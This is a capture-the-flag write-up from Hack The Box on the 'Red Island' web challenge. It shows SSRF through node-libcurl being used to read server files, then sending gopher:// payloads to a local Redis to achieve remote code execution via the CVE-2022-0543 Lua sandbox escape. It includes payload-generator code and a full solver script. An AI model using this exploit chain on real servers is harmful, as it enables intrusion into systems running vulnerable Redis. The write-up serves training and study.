Hack The Box: Cybersecurity Training
Popular Topics
  • JOIN NOW
ALL Red Teaming Blue Teaming Cyber Teams Education CISO Diaries Customer Stories Write-Ups CVE Explained News Career Stories Humans of HTB Attack Anatomy Artificial Intelligence

Write-Ups

7 min read

CA CTF 2022: Exploiting Redis Lua Sandbox Escape RCE with SSRF - Red Island

Exploiting Redis Lua Sandbox Escape RCE with SSRF, Rayhan0x01 shares his write-up of Red Island from Cyber Apocalypse CTF 2022.

Rayhan0x01 avatar

Rayhan0x01,
Jun 10
2022

Hack The Box Article

In this write-up, we'll go over the web challenge Red Island, rated as medium difficulty in the Cyber Apocalypse CTF 2022. The solution requires exploiting a Server-Side Request Forgery (SSRF) vulnerability to perform Redis Lua sandbox escape RCE (CVE-2022-0543) with Gopher protocol.

Challenge Description 📄

The Red Island of the glowing sea is a proud tribe of species that can only see red colors. Hence every physical item, picture, and poster on this island is masked with red colors. The Golden Fang army took advantage of the color weakness of the species of Red Island to smuggle illegal goods in and out of the island behind the ministry's back. Without an invitation, it's impossible to get entry to the island. So we need to hack the ministry and send us an invite from the inside to stop the atrocities of Draeger's men on this island. As always, Ulysses, with his excellent recon skills, got us access to one of the portals of the Red Island ministry. Can you gain access to their networks through this portal?

The application at-a-glance 🔍

The application homepage displays a login form and a link to the registration page. Since we don't have an account, we can create an account via the registration page and log in. After logging in, the application redirects to the following dashboard page:

Providing a valid image URL results in a new image that has many of the parts painted in the red color:

The following API request is being sent to the backend upon URL submission:

That is pretty much all the user-accessible features in this web application.

The SSRF with support of a plethora of protocols 🧰

If we submit a link that is not an image, we can see the response body of the visited link resulting in Server-Side Request Forgery:

The webhook.site

Loading Preview...

website is a request logger service that provides a public link and stores and displays any requests made to that public link. If we submit a webhook URL, we can inspect the request headers to identify what initiated the request:

From the request user-agent header, we can confirm the request is initiated by the npm module node-libcurl

Loading Preview...

:

The description states that it supports many protocols such as DICT, FILE, FTP, FTPS, Gopher, HTTP, etc. We can already send requests on behalf of the server with HTTP protocol, so we know the service suffers from Server Side Request Forgery (SSRF). Since node-libcurl also supports the file:// protocol, we can try reading files from the server:

We can then read the file:///proc/self/cmdline file to identify the command executed to start the application:

So an index.js file is being run with NodeJS to start the application server. We can read the file source by specifying the location file:///proc/self/cwd/index.js. After formatting the received output, we can see the contents of the index.js file properly:

const express          = require('express');
const app              = express();
const session          = require('express-session');
const RedisStore       = require("connect-redis")(session)
const path             = require('path');
const cookieParser     = require('cookie-parser');
const nunjucks         = require('nunjucks');
const routes           = require('./routes');
const Database         = require('./database');
const { createClient } = require("redis")
const redisClient      = createClient({ legacyMode: true })
 
const db = new Database('redisland.db');
 
app.use(express.json());
app.use(cookieParser());
 
redisClient.connect().catch(console.error)
 
app.use(
   session({
     store: new RedisStore({ client: redisClient }),
     saveUninitialized: false,
     secret: "r4yh4nb34t5B1gM4c",
     resave: false,
   })
);
 
<snip>

The application uses Redis as session storage. Since no parameters in the redisClient.connect() call was specified, the application connects to the default Redist address 127.0.0.1:6379.

Getting our hands red on Redis 🩸

We know that node-libcurl supports the gopher:// scheme that can communicate with any TCP server and deliver arbitrary data that we specify on the URI. From the RFC documentation

Loading Preview...

, Gopher URL Syntax is described as follows:

So in simple terms, the URL is structured as follows:

We can test this out with a simple Netcat listener and send a Curl request with the Gopher scheme to see how the raw data is received upon TCP connection:

$ curl "gopher://127.0.0.1:1234/_FIRST%20LINE%20OF%20BYTES%0ASECOND%20LINE%20OF%20BYTES"
 
$ nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 127.0.0.1 39820
FIRST LINE OF BYTES
SECOND LINE OF BYTES

Now that we have the means to send TCP packets to any specific port, let’s have a look at the Redis protocol specification

Loading Preview...

to figure out how we can communicate to this service via SSRF:

Redis clients use a protocol called RESP (REdis Serialization Protocol) to communicate with the Redis server. However, it also supports space-separated arguments in a telnet session, which is perfect for our use case. Here is a Python3 script to convert the Redis inline commands to URL-encoded gopher payloads:

redis_cmd = """
INFO
quit
"""
gopherPayload = "gopher://127.0.0.1:6379/_%s" % redis_cmd.replace('\r','').replace('\n','%0D%0A').replace(' ','%20')
 
print(gopherPayload)

The INFO command in Redis returns information and statistics about the server. Running the script produces the following payload:

gopher://127.0.0.1:6379/_%0D%0AINFO%0D%0Aquit%0D%0A

Submitting the above payload as a URL shows the Redis information in response:

# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:636cde3b5c7a3923
redis_mode:standalone
os:Linux 4.19.0-17-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.2.1
process_id:10
run_id:576116aae4f6eefd172c1a8b3027fecbb0475e1c
tcp_port:6379
uptime_in_seconds:777
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:8733771
executable:/app/redis-server
config_file:/etc/redis/redis.conf

Searching for exploits related to Redis 5.0.7 leads to CVE-2022-0543

Loading Preview...

that leverages the Lua library file to break out of the sandbox and gain code execution with Lua functions:

Let's modify our Python3 script to generate the Gopher payload with Redis Lua exploit code:

redis_cmd = """
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
quit
"""
gopherPayload = "gopher://127.0.0.1:6379/_%s" % redis_cmd.replace('\r','').replace('\n','%0D%0A').replace(' ','%20')
 
print(gopherPayload)

Sending the generated payload from the script results in RCE:

Listing all the files in / displays a binary file named readlfag, and executing this file gives us the flag:

Here's the full-chain solver script:

#!/usr/bin/env python3

import re, requests, random, sys

hostURL = 'http://127.0.0.1:1337'               # Challenge host URL
userName = f'rh0x01{random.randint(1,999)}'     # new username
userPwd = f'rh0x01{random.randint(1,999)}'      # new password

def register():
	jData = { 'username': userName, 'password': userPwd }
	req_stat = requests.post(f'{hostURL}/api/register', json=jData).status_code
	if not req_stat == 200:
		print("Something went wrong! Is the challenge host live?")
		sys.exit()

def login():
	sess = requests.Session()
	jData = { 'username': userName, 'password': userPwd }
	authSess = sess.post(f'{hostURL}/api/login', json=jData)
	if authSess.status_code != 200:
		print("Something went wrong while logging in!")
		sys.exit()
	return sess


print('[+] Signing up a new account..')
register()

print('[~] Logging in to acquire session cookie..')
authSession = login()

print('[+] Sending Redis lua exploit payload..')

redis_cmd = """
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("/readflag", "r"); local res = f:read("*a"); f:close(); return res' 0
quit
"""
gopherPayload = "gopher://127.0.0.1:6379/_%s" % redis_cmd.replace('\r','').replace('\n','%0D%0A').replace(' ','%20')

resp = authSession.post(f'{hostURL}/api/red/generate', json={'url': gopherPayload})

flag = re.search('HTB\{(.*?)\}', resp.text)
print(f'[+] Flag: {flag.group(0)}')

And that's a wrap for the write-up of this challenge! The challenge is currently available to play on Hack The Box platform here

Loading Preview...

.

Challenge Unintendeds 💔

  • The www-data user owned the /app directory, allowing the Redis service to overwrite the HTML template files to gain RCE via Nunjucks SSTI. We patched it by setting the owner of the /app directory to root. We also added a readflag binary with SUID permissions and changed the Redis service user from "root" to "redis".

GET A DEMO FREE TRIAL

Contents

  • Challenge Description 📄
  • The application at-a-glance 🔍
  • The SSRF with support of a plethora of protocols 🧰
  • Getting our hands red on Redis 🩸
  • Challenge Unintendeds 💔

Latest News

Hack the Box Blog

News

2 min read

Hack The Box invites all corporate teams to benchmark their skills through the Global Cyber Skills Benchmark 2025

Noni avatar Noni, May 12, 2025

Hack the Box Blog

Artificial Intelligence

6 min read

AI Red Teaming explained: Adversarial simulation, testing, and capabilities

b3rt0ll0 avatar b3rt0ll0, May 09, 2025

Hack the Box Blog

Red Teaming

7 min read

A new lab is ready for red teamers hungry for advanced recon

JXoaT avatar JXoaT, May 13, 2025

Hack The Blog

The latest news and updates, direct from Hack The Box

Read More
Hack The Box: Cybersecurity Training

The #1 platform to build attack-ready
teams and organizations.

Get a demo

Forrester wave leader Forrester wave leader
ISO 27001 ISO 27701 ISO 9001
G2 rating Capterra rating

Products
Teams
Courses & Certifications Cyber Ranges Enterprise Attack Simulations Cloud Infrastructure Simulations Capture The Flag Tabletop Exercises Talent Sourcing
Individuals
Courses & Certifications Hacking Labs Defensive Labs Red Team Labs Capture The Flag Job Board
Solutions
Job Roles
Red Teams Blue Teams Purple Teams
Industries
Government Higher Education Finance Professional Services
Use Cases
Technical Onboarding Team Benchmarking Candidate Assessment Threat Management Code Vulnerability Crisis Simulation Governance & Compliance
Resources
Community Blog Industry Reports Webinars AMAs Learn with HTB Customer Stories Cheat Sheets Compliance Sheets Glossary Guides & Templates Parrot OS Help Center
Programs
Channel & Resellers Ambassador Program Affiliate Program SME Program
Company
About us Careers Brand Guidelines Certificate Validation Trust Center Product Updates Status
Contact Us
Press Support Enterprise Sales
Partners
Become a Partner Register a Deal
Store
HTB Swag Buy Gift Cards
Products
Teams
Courses & Certifications Cyber Ranges Enterprise Attack Simulations Cloud Infrastructure Simulations Capture The Flag Tabletop Exercises Talent Sourcing

Individuals

Courses & Certifications Hacking Labs Defensive Labs Red Team Labs Capture The Flag Job Board
Solutions
Job Roles
Red Teams Blue Teams Purple Teams

Industries

Government Higher Education Finance Professional Services

Use Cases

Technical Onboarding Team Benchmarking Candidate Assessment Threat Management Code Vulnerability Crisis Simulation Governance & Compliance
Resources
Community Blog Industry Reports Webinars AMAs Learn with HTB Customer Stories Cheat Sheets Compliance Sheets Glossary Guides & Templates Parrot OS Help Center

Programs

Channel & Resellers Ambassador Program Affiliate Program SME Program
Company
About us Careers Brand Guidelines Certificate Validation Trust Center Product Updates Status

Contact Us

Press Support Enterprise Sales

Partners

Become a Partner Register a Deal

Store

HTB Swag Buy Gift Cards
Cookie Settings
Privacy Policy
User Agreement
© 2025 Hack The Box